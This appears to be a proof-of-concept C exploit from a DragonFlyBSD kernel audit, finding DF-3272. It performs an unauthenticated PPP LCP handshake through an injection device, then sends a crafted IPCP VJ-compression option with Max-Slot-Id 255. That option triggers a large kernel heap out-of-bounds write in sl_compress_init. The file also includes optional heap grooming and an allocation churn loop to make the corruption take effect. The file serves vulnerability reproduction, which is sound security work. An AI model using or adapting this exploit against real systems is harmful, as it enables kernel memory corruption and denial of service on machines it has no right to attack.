⬢ DragonFlyBSD Kernel Audit
DF-3272 / poc_3272.c
← back to finding ↓ download raw
/*
 * DF-3272 PoC: unauthenticated peer heap out-of-bounds write via IPCP
 * Van-Jacobson "Max-Slot-Id" byte.
 *
 * Full LCP handshake as the peer (no auth configured by default), then one
 * IPCP CONF-REQ whose IPCP_OPT_COMPRESSION option says: VJ (0x002d),
 * Max-Slot-Id = 0xff.  sppp_ipcp_RCR pass 2 (if_spppsubr.c:2976) calls
 *     sl_compress_init(sp->pp_comp, 0xff)
 * whose loop writes tstate[255..1] although tstate is cstate[16] --
 * a ~32KB heap OOB write past the sizeof(struct slcompress) (~4.6KB)
 * allocation.
 *
 * The overflow smashes neighbouring slab-zone objects; on the INVARIANTS
 * kernel the next allocator touch of the corrupted zone panics
 * ("slaballoc: corrupted zone" / KKASSERT).
 */
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/socket.h>

static int fd;

struct sppinj_mem {
	uint64_t	addr;
	uint32_t	len;
	uint32_t	pad;
	uint8_t		data[4096];
};
#define SPPINJ_GETMEM		_IOWR('j', 1, struct sppinj_mem)
#define SPPINJ_SPRAY		_IO('j', 2)
#define SPPINJ_FREE		_IO('j', 3)
#define SPPINJ_GETCOMP		_IOR('j', 4, uint64_t)

static uint64_t comp_addr = 0;

/* dump kernel memory after the smash to show what was written where */
static void
show_mem(uint64_t addr, uint32_t len, const char *tag)
{
	struct sppinj_mem m;
	uint32_t i;
	int step = 16;

	if (ioctl(fd, SPPINJ_GETCOMP, &comp_addr) == 0 && comp_addr == 0)
		comp_addr = 1;	/* prevent refetch */
	if (len > sizeof(m.data))
		len = sizeof(m.data);
	m.addr = addr; m.len = len; m.pad = 0;
	if (ioctl(fd, SPPINJ_GETMEM, &m) < 0) {
		printf("[!] GETMEM failed: %s\n", strerror(errno));
		return;
	}
	printf("---- %s @0x%llx ----\n", tag, (unsigned long long)addr);
	for (i = 0; i < len; i += step) {
		int j;
		printf("%06llx: ", (unsigned long long)(addr + i));
		for (j = 0; j < step && i + j < len; j++)
			printf("%02x ", m.data[i + j]);
		printf("\n");
	}
}

static int
inject(const unsigned char *f, int n)
{
	int r = write(fd, f, n);
	if (r != n) { perror("write"); exit(1); }
	return r;
}

/* read one TX frame from the fake wire (nonblocking poll) */
static int
rx(unsigned char *buf, int max)
{
	int n, tries;

	for (tries = 0; tries < 300; tries++) {	/* ~3s */
		n = read(fd, buf, max);
		if (n >= 0)
			return n;
		usleep(10000);
	}
	return -1;
}

int
main(int argc, char **argv)
{
	unsigned char buf[2048];
	unsigned char magic_opt[] = { 0x01, 0x02, 0x00, 0x00, 0x00, 0x00 };
	int n, i, ident = -1, do_groom = 0;

	if (argc > 1 && strcmp(argv[1], "groom") == 0)
		do_groom = 1;

	setbuf(stdout, NULL);
	fd = open("/dev/spppinj0", O_RDWR | O_NONBLOCK);
	if (fd < 0) { perror("open"); exit(1); }

	if (ioctl(fd, SPPINJ_GETCOMP, &comp_addr) == 0)
		printf("[*] sp->pp_comp = 0x%llx\n", (unsigned long long)comp_addr);
	if (do_groom) {
		/* spray the slcompress size class before triggering */
		if (ioctl(fd, SPPINJ_SPRAY) == 0)
			printf("[*] groom spray done\n");
	}

	/* bring the interface up: kernel LCP sends CONF-REQ via our read() */
	if (system("ifconfig spp0 up 2>/dev/null") != 0) {
		printf("[!] ifconfig spp0 up failed\n");
	}

	/* drain TX until we see LCP CONF-REQ; take its ident */
	for (i = 0; i < 16; i++) {
		n = rx(buf, sizeof(buf));
		if (n < 6) continue;
		if (buf[2] == 0xc0 && buf[3] == 0x21 && buf[4] == 0x01) {
			ident = buf[5];
			printf("[*] saw kernel LCP CONF-REQ id=%d len=%d\n",
			       ident, (buf[6] << 8) | buf[7]);
			break;
		}
	}
	if (ident < 0) {
		printf("[!] no CONF-REQ seen\n");
		exit(1);
	}

	/* 1. CONF-ACK the kernel's request (len=4: header only) */
	{
		unsigned char f[8] = { 0xff, 0x03, 0xc0, 0x21, 0x02, 0x00, 0x00, 0x04 };
		f[5] = ident;
		inject(f, sizeof(f));
	}
	/* 2. our own CONF-REQ: only a magic option -> agreeable */
	{
		unsigned char f[14] = { 0xff, 0x03, 0xc0, 0x21, 0x01, 0x07, 0x00, 0x0a,
					0x05, 0x06, 0xde, 0xad, 0xbe, 0xef };
		inject(f, sizeof(f));
	}
	/* kernel should now be LCP OPENED -> PHASE_NETWORK; drain its CONF-ACK */
	n = rx(buf, sizeof(buf));
	if (n > 6 && buf[2] == 0xc0 && buf[3] == 0x21)
		printf("[*] LCP negotiated (kernel replied %d bytes, type=0x%x)\n",
		       n, buf[4]);
	else
		printf("[*] LCP reply: %d bytes\n", n);

	/* snapshot the victim region BEFORE the smash (should be mostly zeros) */
	if (comp_addr) {
		/* rstate[] begins at comp+0x30+16*144 = comp+2352; show comp+4600..4860
		 * (tail of allocation) and comp+4700.. (just past the end) */
		show_mem(comp_addr + 4600, 128, "BEFORE: tail of slcompress alloc");
	}

	/* 3. the weapon: IPCP CONF-REQ with VJ compression, Max-Slot-Id = 255 */
	{
		unsigned char f[14] = { 0xff, 0x03, 0x80, 0x21, 0x01, 0x09, 0x00, 0x0a,
					0x02, 0x06, 0x00, 0x2d, 0xff, 0x01 };
		printf("[*] injecting IPCP CONF-REQ: VJ compression, "
		       "Max-Slot-Id=255 -> sl_compress_init(comp, 255)\n");
		inject(f, sizeof(f));
	}

	/* if the kernel is still alive, show the smashed region */
	if (comp_addr) {
		show_mem(comp_addr + 4600, 256, "AFTER: tail of slcompress + OOB");
	}

	/* churn the corrupted zone: IPCP reply arrives, then alloc/free storm */
	for (i = 0; i < 8; i++) {
		n = rx(buf, sizeof(buf));
		if (n > 0)
			printf("[*] kernel TX frame %d: %d bytes, proto 0x%02x%02x "
			       "type 0x%02x\n", i, n, buf[2], buf[3], n > 4 ? buf[4] : 0);
	}
	for (i = 0; i < 2048; i++) {
		/* kernel-side allocation churn to touch the smashed zone */
		int s = socket(2, 1, 6);
		if (s >= 0) close(s);
	}
	sleep(2);
	printf("[!] kernel survived -- NOT reproduced\n");
	return 1;
}